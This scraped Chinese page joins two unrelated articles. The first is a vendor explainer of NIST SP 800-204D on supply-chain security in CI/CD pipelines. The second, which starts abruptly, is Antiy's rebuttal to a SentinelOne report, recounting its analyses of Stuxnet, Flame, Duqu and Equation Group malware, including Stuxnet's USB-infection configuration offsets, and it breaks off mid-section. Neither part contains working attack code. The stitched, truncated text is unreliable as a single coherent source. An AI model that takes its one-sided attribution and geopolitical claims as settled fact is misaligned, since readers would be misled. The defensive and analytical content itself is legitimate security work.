ISHACK AI BOT

1.前言 在敏捷开发的模式下，应用程序会通过 DevSecOps 的敏捷软件开发生命周期（SDLC）范式进行开发，并使用持续集成/持续交付（CI/CD）管道的流程。 然而，在软件开发、供应和交付运营中涉及的数字应用、基础设施服务和供应链数据等各种活动中（这些活动共同构成了数字供应链），攻击者可以通过链条中的一个薄弱点，隐蔽地引入攻击载体，对数字供应链进行攻击，继而引发广泛的后果。 日前，美国国家标准与技术研究院（NIST）发布了特别出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基于此文，引发深入讨论，阐述如何将数字供应链安全保证措施集成到 CI/CD 管道中以保护底层活动完整性，从而确保将源代码带入构建、测试、打包和部署阶段的 CI/CD 管道活动不会受到损害。 2.数字供应链(DSC)的定义 从高层次上讲，软件供应链是创建、转换和评估软件制品质量和政策一致性的一系列步骤的集合。这些步骤通常由使用和消费制品以生成新制品的不同参与者执行。例如，构建步骤使用一系列人工制品作为工具（如编译器和链接器），并消耗人工制品（如源代码）来生成新的人工制品（如编译后的二进制文件）。 我们以往所熟知的软件供应链主要是基于传统软件供应关系，通过资源和开发供应过程将软件产品从供方传递给需方的网链系统。而这样的定义如今已无法适应数字经济时代由于技术创新带来的产品服务、基础设施和供应链数据等供应对象及供应关系的新变化。 因此，数字供应链的概念在软件供应链的基础上应运而生。数字供应链主要由数字应用、基础设施服务、供应链数据三大主要供应对象组成。其中，数字应用包括软件、Web、固件等，基础设施服务是指云服务、IT托管服务等，而供应链数据则包括基础数据和敏感信息。 相较于软件供应链，数字供应链更加明确的指出了基础设施服务和供应链数据代表产品服务在供应活动中发挥的建设作用及重要性。 图 1：在数字供应链步骤中不同要素之间的互动 数字供应链中的大多数活动都会对最终的应用产品产生重大影响。因此，每项活动的安全性对于最终结果的安全性至关重要。在供应链引入、生产链、供应链交付运营的过程中，构建、打包和交付数字应用，重新打包和容器化以及基础设施服务安全上线运营等都是数字供应链的核心范畴。 3.数字供应链安全：重点内容和风险因素 3.1数字供应链安全的重点内容 在研国标《信息安全技术 软件供应链安全要求》明确了软件供应链安全保护目标，分别包括提升软件产品或服务中断供应等风险管理能力、提升供应活动引入的技术安全风险管理能力、提升软件供应链数据安全风险管理能力。 数字供应链安全作为软件供应链安全概念的关键演进，其发展建立在软件供应链安全的基础之上。相比之下，数字供应链安全涉及的保护范围更广，保护对象的内涵更加丰富。数字供应链安全的重点内容包括： • 数字应用安全：围绕数字应用的开发全流程与上线运营整体阶段，包含应用安全开发（DevSecOps/SDL)、开源治理（合规/风险）和数字免疫（防御左移，代码疫苗）。 • 基础设施服务安全：包含云原生安全（CNAPP）和供应链环境安全。 • 供应链数据安全：包含API安全和应用数据安全。 3.2数字供应链中的风险因素 数字供应链的风险因素通常包括： • 开发环境中的漏洞：开发环境对数字供应链的安全性构成了根本性的风险，不应将其作为构建流程的一部分加以信任。成熟的 SDLC 流程只有在代码审查和扫描程序到位后，才会将代码和资产纳入其软件配置管理 (SCM) 主线和版本分支。 • 威胁参与方：一般是寻求以特权方式访问数字供应链的外部攻击者，或心怀不满、制造内部威胁的员工或供应商；非恶意的威胁参与方也可能影响供应链的安全，如软件工程师由于缺乏工具或为了方便使用而故意隐瞒，导致机密管理不善。 • 攻击向量：包括恶意软件、代码重用（代码级别的引入）、依赖库和依赖组件的引入、社会工程学、网络攻击、物理攻击等。 • 攻击目标（即资产）：包括源代码、凭证、敏感信息，如个人身份信息 (PII)、受保护健康信息 (PHI)、知识产权 (IP)、加密材料（如软件成品签名密钥）和专有信息等。 • 利用类型：入侵行为通常包括在数字供应链中注入易受攻击或恶意的依赖项、可访问其他系统的被盗凭证、将恶意代码或漏洞代码注入资源库、通过提交合并请求窃取机密等。 4.CI/CD 管道的安全目标和可信实体 在 CI/CD 流水线中，实现数字供应链安全的一个共同方法是生成尽可能多的出处数据。出处数据与系统或系统组件的起源、开发、所有权、位置和更改的时间顺序相关联，包括促成这些更改或修改的人员和流程。在生成这些数据的同时，还应有相应的机制对其进行验证、认证，并在决策中加以利用。 总的来说，CI/CD 管道需要添加的安全保证措施： • 在开发和部署第一方软件时采用的数字供应链内部安全做法； • 在采购、集成和部署第三方软件（即开源和商业软件模块）时采用的安全做法。 4.1 CI/CD 管道的安全目标 在 CI/CD 管道中应用数字供应链安全措施或实践有两个安全目标： 1. 积极维护 CI/CD 管道和构建流程。 2. 确保上游源头和制品（如资源库）的完整性。 最常见的方法是在 CI/CD 平台中引入安全措施，使开发人员能够自动构建、测试和部署管道。 4.2 CI/CD 管道中需要信任的实体 零信任架构侧重于保护硬件系统（如服务器）、服务和应用程序本身等资源。访问这些资产的实体（如用户、服务和其他服务器）本身并不值得信任，零信任架构的主要目标就是建立这种信任。 在 CI/CD 管道中，信任的范围要大得多，至少需要以下步骤： • 参与执行各种数字供应链活动（如供应链引入、生产链、供应链交付运营）的实体应通过验证凭证进行身份验证。在认证的基础上，根据企业业务政策，通过一个称为授权的过程，为这些实体分配适当的权限或访问权。 • 应通过验证与之相关的数字签名来确保人工制品及其存储库的完整性。这种完整性保证产生信任。 • 在整个 CI/CD 系统中，上述信任的建立应该是一个循环往复的过程，因为制品要经过不同的存储库才能最终成为最终产品。 • 每个构建步骤的输入和输出都应经过验证，以确保预期组件或实体执行了正确的步骤。 表1举例说明了典型的 CI/CD 管道中需要信任的实体。 表1：信任实体 5.将数字供应链安全集成到 CI/CD 管道中 为了概述将数字供应链安全集成到 CI/CD 管道中的策略，有必要了解这两种管道各自的流水线及其总体安全目标。 激活 CI/CD 管道的前提条件如下： • 加固 CI/CD 执行环境（如虚拟机或 Pod），减少攻击面。 • 为操作各种 CI/CD 管道的人员（如应用程序更新人员、软件包管理员、部署专家）定义角色。 • 确定执行各种任务的细粒度授权，如生成代码并提交到 SCM、生成构建和软件包，以及检查各种制品（如构建和软件包）进出版本库。 • 通过部署适当的工具，实现整个 CI/CD 管道的自动化。CI 和 CD 流水线的驱动工具处于更高的级别，会调用一系列特定功能的工具，如用于从版本库中检出代码、编辑和编译、代码提交和测试的工具，这包括软件成分分析 SCA工具、静态应用安全测试 SAST和动态应用安全测试 DAST等。一般来说，驱动工具或构建控制平面的执行信任度要高于构建等单个功能步骤。 • 为应用程序代码的开发和部署定义 CI/CD 管道活动和相关安全要求；基础设施即代码，包含部署平台的详细信息；策略即代码和配置代码，指定运行时设置（如另一种标记语言 (YAML) 文件）。 5.1 确保 CI 管道中工作流的安全 CI 管道中的流水线主要包括构建操作、版本库（公共和私有）的PULL/PUSH操作、软件更新和代码提交。 用于安全运行 CI 管道的框架的总体安全目标包括： • 同时支持云原生应用和其他类型应用的能力。 • 符合标准的证据结构，如元数据和数字签名。 • 支持多种硬件和软件平台。 • 支持生成证据的基础设施（例如 SBOM 生成器、数字签名生成器）。 5.1.1 安全构建 要在构建过程中获得数字供应链安全保证，需要完成以下任务： 1）指定有关构建的政策，包括使用安全隔离平台执行构建并加固构建服务器，用于执行构建的工具，以及执行构建流程的开发人员所需的身份验证/授权。 2）使用代理和策略执行引擎等技术执行这些构建策略。 3）确保同时生成构建认证的证据，以证明在软件交付期间符合安全构建流程。 促进第二项任务的常用技术是将 CI 工具的命令与收集证据的功能结合起来，并最终创建整个 SDLC 的证据跟踪。 第一类证据来自构建系统本身，它应能确认所使用的工具或流程处于隔离环境中。这可提供内部操作保证。第二类应收集的证据包括最终构建制品、文件、库和制品中使用的其他材料以及所有事件的哈希值。然后，由构建框架中不受开发人员控制的可信组件使用数字证书对其进行签名，以创建证书，从而为消费者提供软件质量的可验证证明，使他们能够独立于软件生产者验证该制品的质量，从而为消费者提供保证。在这种情况下，制品是由一系列 CI 流程步骤生成的构建。 就 "同时生成证据 "而言，生成的证据应由信任度或隔离度高于构建本身的流程启用，以防止篡改。此类证据的生成需要在构建过程中进行验证。 构建阶段的认证由以下部分组成： 1. 环境认证：涉及 CI 流程发生时的系统清单，一般指运行构建流程的平台。平台的组件（如编译器、解释器）必须经过加固、隔离和安全处理。 2. 过程认证：涉及将原始源代码或材料转化为人工制品的计算机程序（如编译器、打包工具）和/或对该软件进行测试的程序（如代码测试工具）。对于只观察 CI 流程的工具来说，有时很难区分哪些数据应填入流程证明，哪些数据应填入材料认证。执行源转换的工具读取的文件可能会影响转换工具的选择，也可能包含在转换本身的输出中。因此，流程证明的填充应被视为 "尽力而为"。 3. 材料认证：涉及任何原始数据，可包括配置、源代码和其他数据（如依赖关系）。 4. 制品认证：制品是 CI 流程的结果或成果。例如，如果 CI 流程步骤涉及在 C 语言编写的源代码上运行编译器（如 GNU 编译器集 (GCC)），那么生成物就是该源代码的可执行二进制文件。如果该步骤涉及在同一源代码上运行 SAST 工具，则生成物将是 "扫描结果"。生成该制品的步骤可以是最终步骤，也可以是中间步骤。与新生成产品有关的证明属于人工制品证明类别。 与签名证据（即认证）及其存储相关的要求必须包括以下内容： • 认证必须使用安全密钥进行加密签名。 • 存储位置必须防篡改，并使用强大的访问控制加以保护。 这些认证可用于评估政策合规性。政策是一份签名文件，其中包含了对要验证的制品的要求。该策略可能包括检查参与 CI 流程的每个职能部门是否使用了正确的密钥来生成证明，是否找到了所需的证明，以及是否指定了根据相关元数据评估证明的方法。该策略使核查人员能够在制品生命周期的任何时刻跟踪其合规状态。 上述能力共同提供了以下保证： • 软件由授权系统按照正确的步骤顺序使用授权工具（如每个步骤的基础设施）构建。 • 没有证据表明存在潜在的篡改或恶意活动。 5.1.2 对存储库进行安全的PULL-PUSH操作 数字供应链的第一项安全任务是确保源代码开发实践的安全。在 CI/CD 管道中，代码驻留在资源库中，由授权开发人员使用 PULL 操作提取、修改，然后使用 PUSH 操作放回资源库。要授权这些 PULL-PUSH 操作，需要两种形式的检查： 1.授权执行PULL-PUSH操作的开发人员所需的验证类型。开发人员提出的请求必须与其角色（如应用程序更新者、软件包管理器）相符。拥有 "合并审批 "权限的开发人员不能审批自己的合并。 2.代码库中代码的完整性值得信赖，可用于进一步更新。 确保代码库中代码可信度的各种机制包括： • PULL-PUSH请求1：项目维护者应对推送的变更中涉及的所有制品进行自动检查，如单元测试、衬垫、完整性测试、安全检查等。 • PULL-PUSH请求2：只有在对工具源代码来源的可信度有信心的情况下，才能使用这些工具运行 CI 流水线。 • PULL-PUSH请求3：版本库或源代码管理系统（如 GitHub、GitLab）应 a) 在沙箱环境中运行 CI 工作流，不允许访问网络、任何特权访问或读取机密；或 b) 具有内置保护功能，可延迟 CI 工作流的运行，直至获得具有写入权限的维护者批准。当外部贡献者向公共版本库提交拉取请求时，这种内置保护就会生效。这种保护的设置应该是最严格的，例如 "要求所有外部合作者批准"。 • PULL-PUSH请求4：如果源代码管理系统中没有内置保护功能，则需要具有以下功能的外部安全工具： 评估和加强SCM系统安全态势的功能，无论有无策略（如开放策略代理（OPA）），都能评估SCM账户的安全设置，并生成一份包含可行建议的状态报告。 通过检测和修复错误配置、安全漏洞和合规问题，提高源代码管理系统安全性的功能。 5.1.3 软件更新期间证据生成的完整性 软件更新过程通常由一类特殊的软件开发工具执行，该工具被称为软件更新系统。对软件更新系统的威胁主要针对证据生成过程，目的是清除更新的痕迹，阻止确定更新是否合法的能力。 软件更新系统有多种类型： • 软件包管理器负责管理系统中安装的所有软件 • 只负责个别已安装应用程序的应用程序更新程序 • 软件库管理器，用于安装可增加功能的软件，如插件或编程语言库。 软件更新系统的主要任务是识别给定更新票据所需的文件，并下载可信文件。乍一看，建立下载文件信任所需的唯一检查似乎就是通过验证与单个文件或软件包相关的元数据上的签名来执行的各种完整性和真实性检查。然而，签名生成过程本身可能会受到已知攻击的影响，因此软件更新系统需要许多与签名生成和验证相关的其他安全措施。 为软件更新系统提供安全保障的不断发展的框架已将其中许多必要的安全措施纳入其规范，并为未来的规范规定了其他一些措施。框架是一套库、文件格式和实用程序，可用于确保新的和现有软件更新系统的安全。框架应通过要求在执行签名操作前满足第5.1.1节中定义的策略来保护签名操作。以下是该框架的部分共识目标： • 该框架应能防范对软件更新系统所执行任务的所有已知攻击，如元数据（哈希值）生成、签名过程、签名密钥管理、执行签名的机构的完整性、密钥验证和签名验证。 • 该框架应提供一种方法，通过支持具有多个密钥和阈值或法定人数信任的角色（旨在使用单个密钥的最低信任角色除外），将密钥泄露的影响降至最低。对使用高危密钥的角色来说，密钥泄露的影响应该是最小的。因此，在线密钥（即以自动方式使用的密钥）不应用于客户最终信任其可能安装的文件的任何角色。当密钥在线使用时，应格外小心保管，例如将其存储在硬件安全模块 (HSM) 中，并且只有在被签名的制品通过第5.1.1节中定义的策略时才允许使用。 • 该框架必须足够灵活，以满足各种软件更新系统的需求。 • 该框架必须易于与软件更新系统集成。 5.1.4 安全代码提交 代码提交前应进行适当形式的测试，且必须满足以下要求： • SAST 和 DAST 工具（涵盖开发中使用的所有语言）应在 CI/CD 管道中运行，并向开发人员和安全人员提供代码覆盖率报告. • 如果使用开源模块和库，则必须列举、了解和评估依赖关系（通过使用SCA 工具，如源鉴SCA开源威胁管控平台）。此外，还必须测试它们应满足的安全条件。依赖关系文件检测器应检测所有依赖关系，包括传递依赖关系，最好不限制要分析的嵌套依赖关系或传递依赖关系的深度。 代码提交过程中所需的一种安全措施是防止秘密进入提交的代码。这可以通过对秘密的扫描操作来实现，并产生一种称为推送保护的功能。该功能应满足以下要求： • 提交请求1：（例如，个人访问令牌） 评估已提交代码是否符合组织政策，包括是否存在密钥和应用程序编程接口 (API) 令牌等机密。检测到的秘密应通过安全仪表盘等媒体显著显示，并在检测到违反政策时生成适当的警报，同时记录补救违反政策的方法。 • 提交请求2：分配给管理员的所有版本库都应启用推送保护功能。此类保护应包括开发人员身份/授权验证、强制执行开发人员对代码提交的签名以及文件名验证 。 5.2 确保CD管道中流水线的安全 以下是 CD 过程中应使用的一些尽职调查措施。这些措施可以通过定义允许或不允许部署制品的验证策略来实施。 • 部署请求1：对于已在版本库中并准备部署的代码，应调用安全扫描子功能来检测代码中是否存在密钥和访问令牌等机密。在许多情况下，即使在代码填充之前，也应扫描版本库中是否存在秘密，因为根据版本库的可见性，秘密出现在版本库中可能意味着凭证已经泄露。 • 部署请求2：在合并拉取请求之前，应该可以通过依赖性审查的形式查看任何易受攻击版本的详细信息 。 • 部署请求3：如果已经建立了安全的构建环境和相关流程，那么就应该可以指定部署的制品（即容器镜像）必须是由该构建流程生成的，这样才能允许部署。 • 部署请求4：应该有证据表明容器镜像已进行过漏洞扫描并证明了漏洞发现。漏洞扫描的一个重要因素是运行时间。由于用于扫描制品的工具会不断更新以检测新出现的漏洞，因此与过去的扫描结果相比，最近的扫描结果更有可能是准确的，并能提供更好的保证。这种技术可确保只有经过验证的容器镜像才能进入环境，并在运行期间保持可信，从而使 DevOps 团队能够实施主动的容器安全态势。具体来说，应该可以根据组织定义的策略允许或阻止镜像部署。 • 部署请求5：应定期检查发行版构建脚本是否存在恶意代码。需要执行的具体任务包括： 容器镜像一经构建，甚至在推送到注册表之前，就应进行漏洞扫描。早期扫描功能也可以内置到本地流水线中。 用于与包含容器镜像和语言包的资源库进行交互的工具应能与CD工具集成，从而使所有活动成为自动CD管道的组成部分。 5.2.1 安全 CD 管道-GitOps 在 CI/CD 管道中，构建期间和之后的所有操作都涉及与中央存储库（如 Bitbucket、GitHub 和 GitLab）的交互。这些操作统称为 GitOps，是一种由 Argo CD 和 Flux 等开源工具推动的自动化部署流程。GitOps 既适用于基础架构代码，也适用于应用代码，包括提交、分叉、拉取和推送请求。 GitOps 的使用范围如下： • 将基础设施作为代码进行管理 • 管理和应用群集配置 • 将容器化应用程序及其配置自动部署到分布式系统。 在部署前创建配置数据、捕获与特定版本相关的所有数据、运行期间修改软件以及执行监控操作时，应执行以下数字供应链安全任务： • GitOps请求1：流程应依靠自动化而非手工操作。例如，应避免手动配置数百个 YAML 文件来回滚 Git 仓库集群上的部署。 • GitOps请求2：为 GitOps 提供便利的软件包管理器应保存已发布软件包的所有数据，包括所有模块的版本号、所有相关配置文件以及其他适合软件运行环境的元数据。 • GitOps请求3：不应在运行时手动应用变更（如 kubectl）。相反，应该对相关代码进行更改，并触发包含这些更改的新版本。这样才能确保 Git 提交始终是集群中运行内容的唯一真实来源。 • GitOps请求4：由于 Git 仓库包含应用程序定义和配置代码，因此应自动提取并与这些配置的指定状态进行比较（即监控和补救漂移）。对于任何偏离指定状态的配置，可执行以下操作： 管理员可以选择自动将配置重新同步到定义的状态。 应就差异发出通知，并进行人工补救。 5.3 数字供应链CI/CD 管道安全-实施策略 如果不对基本业务流程和运营成本造成巨大影响，所有企业都不可能一次性实施数字供应链安全所需的大量步骤。相反，提供数字供应链安全性的解决方案可大致分为以下几类： 1. 通过与 DevSecOps 管道中每项任务相关的功能确保数字供应链安全的解决方案： a. 通过确保不被篡改的构建管道来验证软件的正确构建，例如提供对构建过程中使用的依赖关系和步骤的可验证可见性，因为被破坏的依赖关系或构建工具是中毒流水线的最大来源。 b. 为交付流水线的每个步骤指定核对清单，以便为实施提供指导，并检查和执行对核对清单遵守情况的控制。 2. 通过数字签名和证书确保完整性和出处的解决方案。 3. 确保运行代码为最新代码的策略，如制定 "构建期限"（即超过一定期限的代码不应启动），以尽可能使生产过程与软件源中已提交的代码保持一致。 4. 保护 CI/CD 客户端，防止恶意代码窃取机密信息（如专有源代码、签名密钥、云凭证）、读取可能包含机密的环境变量，或将数据外泄到敌方控制的远程端点。 6.结语 敏捷开发模式下数字应用以最快速度将代码从IDE或Git存储库带到生产环境中，加快了部署速度，提升了业务系统上线的效率，但数字供应链的安全性对于敏捷开发范式来说同样至关重要，任何一个漏洞都可能造成巨大的损失。 作为数字供应链安全开拓者和DevSecOps敏捷安全领导者，悬镜将持续带来专业的国际化视角，与行业同仁及用户共同探讨交流，践行网络安全社会责任，守护中国数字供应链安全。

1.概述 2024年2月12日，美国网络安全公司SentinelOne在其官网上发布题为“China’s Cyber Revenge/Why the PRC Fails to Back Its Claims of Western Espionage”的报告[1]，（以下简称“SentinelOne报告”），对“中国三家知名网络安全企业360、奇安信、安天及中国网络安全产业联盟（CCIA）”等机构揭露美方情报机构网络攻击的相关报告进行解读。我们先直接概括其报告中的观点和关键逻辑。 SentinelOne报告对我们公开的分析报告基于时间线进行了梳理，并引述一些美方人士观点，设定了如下观点： 1、中方报告是对国际其他机构对美方分析的跟进，存在长期滞后； 2、中方分析工作严重依赖美方自身的信息泄露； 3、中方报告没有“PCAP包”级别的技术实证。 SentinelOne报告的逻辑并不是应答全球网络安全业界和研究者过去二十年来对美方情报机构攻击活动和能力的持续分析曝光，包括在美方多次信息泄露中所暴露出来的触目惊心的真相，而是试图把国际关注度转移到中国网络安全工作者的技术能力和水平是否能够支撑其持续独立发现、分析、研究、溯源美方的攻击上，并将实证的概念窄化为一种具体的技术格式。美西方此前长时间习惯性地从宏观层面夸大中国网络安全能力，以便为其情报机构和军工复合体争取巨额的网络安全预算，而此时，突然又在微观层面开启一波认为中国分析溯源能力很差的“嘲讽”流，并宣判：作为被霸凌者，你们反抗无效！ 对SentinelOne报告所提及的中国安全企业的分析报告，有很大比例来自安天安全研究与应急处理中心（安天CERT），我们当然承认：作为一个企业级别的安全分析团队，分析美国情报机构这种超级网空威胁行为体的网络攻击活动和支撑体系，是非常艰苦的工作。我们知道其中有巨大的能力、资源等方面的落差。我们就如同一只警觉的白兔，努力睁大双眼去发现和分析在迷雾森林中吞噬咀嚼各种弱小动物的巨型鹰鹫，我们希望努力画出它的样貌，提醒森林里的其他动物警惕它的袭击。 2015年，我们提出了A2PT（即高级的高级持续性威胁）这一名词，以此明确其空前的能力和威胁，也提醒我们自己，对抗和分析这种攻击能力会有多么困难。 分析、溯源APT攻击本身是一个长期、复杂、需要大量资源，需要高度严谨的科学态度和耐心定力的工作，对于更为复杂的A2PT的分析则需要付出更大的代价。我们的工作过程基本不为常人所知，分析成果又只有专业人士才能充分理解。所以尽管SentinelOne报告整体逻辑如此之荒谬，但如果我们不向SentinelOne（我们愿意称呼他们为美国同行）点破若干他们视而不见的真相，包括向他们分享一点我们（也包括国际网络安全业界）对APT分析工作的真正理解，就不足以让人们看清SentinelOne报告貌似专业、甚至“公正”的梳理和分析下面隐藏的对世界的欺骗。 因此我们很感谢SentinelOne报告，让我们有机会以自己的回忆视角串联若干历史分析工作，包括促成我们公布这些工作中的一些未出现在历史报告中的过程线索。由于这段历程过于漫长，我们一度认为若干有价值的分析成果已经覆满尘土，但SentinelOne报告让我们可以把它们重新摘选出来，重新对世界发出告知与提醒。让所有寻求真相的人们，把我们的这份报告与SentinelOne报告摆放在一起，看看何为诡辩，何为逻辑与真相！ 我们并不自诩正确，但我们总还有讲述自己经历的权力！ 2. 接力追踪鹰鹫的足迹 美方情报机构的网络攻击不是孤立的行动，而是基于0day漏洞、高级恶意代码持久化和基于人力、电磁和网空混合作业的长期布局，并有庞大的工程体系作为支撑。在长期作业过程中可能经历大型恶意代码工程的多次迭代，这使得国际网络安全业界的分析曝光工作看起来像一场工作接力。 第一个接力高峰期，2010年由“震网”事件所触发，并沿着“火焰”“毒曲”“高斯”等复杂的恶意代码展开。SentinelOne的时间线开始就选错了起点，包括中国网络安全工作者在内的国际网安业界分析工作起跑于2010年，我们的工作和国际业内同仁是基本同步启动的，而不是2012年。2010年7月13日国际网络安全企业最早曝光相关消息后，我们在7月15日依托设定的关键字符串守候到了样本，并着手搭建“震网”的模拟分析环境，开始模拟分析相关机理。 图 2‑1安天搭建的“震网”简易模拟分析沙盘（2010.7） 针对“震网”的接力分析，是由很多复杂而琐碎的工作组成的。例如几乎所有参与分析的机构，都在其中找到了感染USB设备的摆渡感染代码。但多数没有成功触发复现USB摆渡行为。安天的分析贡献之一是对其摆渡的关键机理进行了深入分析，指出了其摆渡传播的控制条件，从而解释了其与其他蠕虫差异明显的受控传播特性。在2010年10月11日的《对Stuxnet的后续分析》[2]中，我们解读了： Stuxnet是否感染到U盘，取决于配置数据中的多个域，包括： ·偏移0x6c、0x70、0xc8处的标记位； ·偏移0x78、0x7c处的时间戳； ·偏移0x80、0x84处的数值。 只有当每个域对应的条件都满足时，才会感染U盘。其中，偏移0xc8处的位默认设置为不感染。 图 2‑2“震网”文件释放结构和USB传播逻辑图（2010.10） 但我们对当时的分析精细度并不满意，在九年后的“震网”事件最终报告[3]中，我们对完整的标志位做了更新： 图 2‑3震网摆渡配置内容解析（2019.9） 2010年面对如此复杂的攻击时，我们承认自己匮乏资源与经验，作为从病毒分析组转型的应急分析团队，我们太习惯于代码功能逆向的视角，而并未将其所使用的多个0day漏洞进行逐一验证，也就留下了一个严重的分析错误，把针对Windows打印后台程序漏洞的利用当作了对打印机的攻击，还留下了如下带有错误的图示。这也间接导致了多份国内外的文献由于引用了我们的图示而产生关联错误。 图 2‑4 Stuxnet蠕虫突破物理隔离环境的传播方式的错误图示（2010.9） 尽管对“震网”事件的深入分析了解是全球所有APT分析研究者的基本功，但我们笃定的是：SentinelOne不会比我们更了解“震网”，因为如果他们分析过样本，恐怕就不会不知道“震网”会提取主机信息并追加于Payload尾部。显然，基于我们样本库中大量的“震网”样本对主机信息的还原，会提取出大量中国计算机被感染的证据。而这恰恰就是SentinelOne报告所说的实证。 图 2‑5安天基于样本提炼整理的感染中国计算机节点的部分数据 当美方领导人和政府人士不仅在多次场合中暗示承认“震网”与其情报机构的关系，甚至明显以此作为拥有强大网络攻击威慑的一种宣示时，对事件的分析就已经不能停留在样本分析和技术实证层面，而必须更深入的判断打开信息战“潘多拉魔盒”的影响。在对“震网”的分析中，安天量化对比了“震网”事件与二十年前的凋零利刃与巴比伦行动，明确提出“震网”的灾难性里程碑意义，在于其证明了网络攻击能达成传统作战行动的局部等效性。 表 2‑1两次针对主权国家核计划所采用的军事行动与准军事行动的对比分析（2015） 凋谢利刃与巴比伦行动（传统作战行动） 震网行动（网络战行动） 发起攻击者 以色列、伊朗、美国 美国、以色列 被攻击目标 伊拉克核反应堆 伊朗铀离心设施 时间周期 1977-1981年 2006-2010年 人员投入 以色列空军、特工人员、伊朗空军、美国空军和情报机构 美、以情报和军情领域的软件和网络专家，工业控制和核武器的专家 产出 多轮前期侦查和空袭，核反应堆情报 战场预制、病毒的传播和伊朗核设施情报 各方装备投入 伊：2架F-4鬼怪式以12枚MK82减速炸弹-轰炸核反应堆假设工地；10架F-4袭击伊拉克H-3空军基地。 以：2架F-4E(S)-侦查任务；8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸弹-空袭反应堆 模拟搭建反应堆 特工人员暗杀伊拉克关键人员 美方：战略卫星和情报、空中加油机 震网病毒 模拟搭建离心机和控制体系 效费比 打击快速，准备期长，耗资巨大，消耗大，行动复杂，风险高 周期长，耗资相对军事打击低，但更加精准、隐蔽，不确定性后果更低 训练成本 18个月模拟空袭训练，2架F-4鬼怪攻击坠毁，3名飞行员阵亡 跨越两位总统任期，经历了5年的持续开发和改进 消耗 人力、军力、财力、装备力、情报 人力、财力、情报 毁伤效果 反应堆被炸毁，吓阻了法国供应商，伊拉克核武器计划永久迟滞 导致1000台至2000台离心机瘫痪，铀无法满足武器要求，几乎永久性迟滞了伊朗核武器计划 在“震网”之后，全球网络安全业界陆续发现了“毒曲”“火焰”“高斯”并发布报告，并陆续证明它们与“震网”的相关性。在面对“火焰”时，卡巴斯基指出，其攻击是当时发现的最为复杂的攻击之一，要对其完全分析清楚可能要耗费数年时间。我们意识到国际安全企业和从业者需要进行分工协同，我们尝试开启了一段马拉松式的分析赛跑，尝试完成更多的工作，对“火焰”主样本进行了分析[4]，并提取了子模块清单，对其中重点模块进行了分析。从目前的公开资料检索看，在业内完成“火焰”的分析成果中，安天在模块层面的分析贡献占比是最高的。 图 2‑6“火焰”病毒主模块与子模块启动加载顺序（2012.5） 我们对“毒曲”和“震网”的同源分析报告晚于国际厂商[5]，这的确是一个事实。“震网”“火焰”“毒曲”“高斯”系列存在同源关联是当时参与这些样本深度分析的各厂商的共同的猜测与判断。卡巴斯基的工作最为敏捷和坚决，而我们则没有把找到的相似点在第一时间沉淀为公开的分析成果，但如果比较这两份同源分析，其实也可以看到：安天所提供的同源点大部分与卡巴斯基并不相同，将分析成果叠加起来可以为APT样本体系间的同源性到代码复用占比分析提供更完整的线索和依据。 图 2‑7 安天公布的震网、毒曲同源关键代码基因对比（2012.5） APT分析是一个社会协同过程，其中有大量的疑问是需要长时间的分析积累、关联回溯才能解决的，“震网”就是一个例子。例如在非常长的时间内都没有组织机构正式解答：作为高度定向的攻击所使用的样本，且大版本只有两个，总模块数只有数十个，但为什么其样本数量多达数千个，包括为什么在技术验证中，USB摆渡开关是默认关闭的，却能形成一条从中东到东南亚并渗透到中国的感染扩散链。我们在《震网事件的九年再复盘与思考》[3]对上述问题进行了分析解答，尽管这个解答迟来了九年，但这是中国网络安全工程师的独创内容。相比之下，急功近利的组织机构和研究者很难取得深度和系统的成果。 同样的，我们以软件工程的视角，梳理“震网”“火焰”“高斯”“毒曲”之间的代码复用关系，并输出了一个完整的图谱： 图 2‑8 安天发布Stuxnet和Duqu、Flame、Fanny、Flowershop关系图（2019.9） 既与时间赛跑，又在时间面前保持定力；既尊重他人的分析成果，又有自己的独创贡献，这就是中国网络安全工作者在这场接力中扮演的角色。 3.破解斯芬克斯之谜 A2PT组织攻击装备的重要特点是恶意代码和漏洞利用工具攻击武器几乎覆盖所有平台与场景。把这个全貌完整绘制出来，成为全球优秀的网络安全研究机构携手共同努力才能破解的斯芬克斯之谜。 在2013年之后，针对“方程式组织”（NSA下属的TAO团队）的分析协同就是一次集体解谜历险。“方程式组织”的新攻击活动与此前“震网”“火焰”系列攻击至关重要的差异是，“震网”是面向隔离网络的攻击作业，所以Payload必须包含所有的功能模块组件，这就便于完整的关联分析。 而新的攻击波次主要是依托互联网侧的高度模块化，针对场景按需投放。由于各国的IT基础环境、各安全企业服务的客户场景都有很大不同，任何一家网络安全厂商都不可能在短时内完整捕获其各平台样本和各种功能模块。如果说我们看到“震网”“火焰”“毒曲”“高斯”是依靠同源线索关联所形成的分析接力的研究，那么对“方程式组织”的分析实际上就是依靠自身的感知捕获能力，逐个解开其在各个平台上的免杀，直到最终完整解开它全平台覆盖能力。每一个平台捕获、分析、拼接到最终曝光，都走过了很长的过程。其中我们将iOS样本的曝光，与我们正式捕获完成分析的时间，已经相隔了8年。我们依靠自身的捕获能力，先后捕获了其Windows、Solaris、Linux、iOS平台的攻击样本，破解了样本加密机制。和国际产业界协同完成了其全操作系统平台覆盖能力的分析，并最终使其完整曝光。 图 3‑1全球网络安全厂商披露的方程式组织平台覆盖能力 2015年初，卡巴斯基率先开始公布了方程式组织对硬盘固件的攻击能力，安天跟进公布了分析报告[6]，针对攻击组件结构、通信指令代码和控制结构提供了有价值的成果。 图 3‑2 安天公布的捕获的C2和通信密钥（2015.3） 安天该报告中还对硬盘固件写入模块进行了分析和过程研究，并在当时对可能被持久化主机硬盘进行了固件提取比对分析。 图 3‑3 安天分析硬盘固件升级流程（2015.3） 我们在2013年对“方程式”组织的捕获分析中，就监测发现大量回连攻击者C2的机器，确定国内存在被攻击目标。 图 3‑4国内回连方程式组织C2监测流量 2015年5月，安天发布报告，公开了“方程式”组织内置的数据加密和网络通信加密算法，公布了解密密钥和解密算法[7]。 图 3‑5方程式组织通信加解密算法分析（2015.4） 2016年，安天的报告首度曝光了“方程式”组织针对Linux系统和SPARC架构的Solaris系统的攻击样本[8]，分析了样本的主要功能、通信模式和指令特点。与卡巴斯基等厂商报告叠加，构成了A2PT攻击组织的全平台恶意代码能力图谱。 图 3‑6方程式攻击组织多平台操作系统覆盖能力（2016.11） 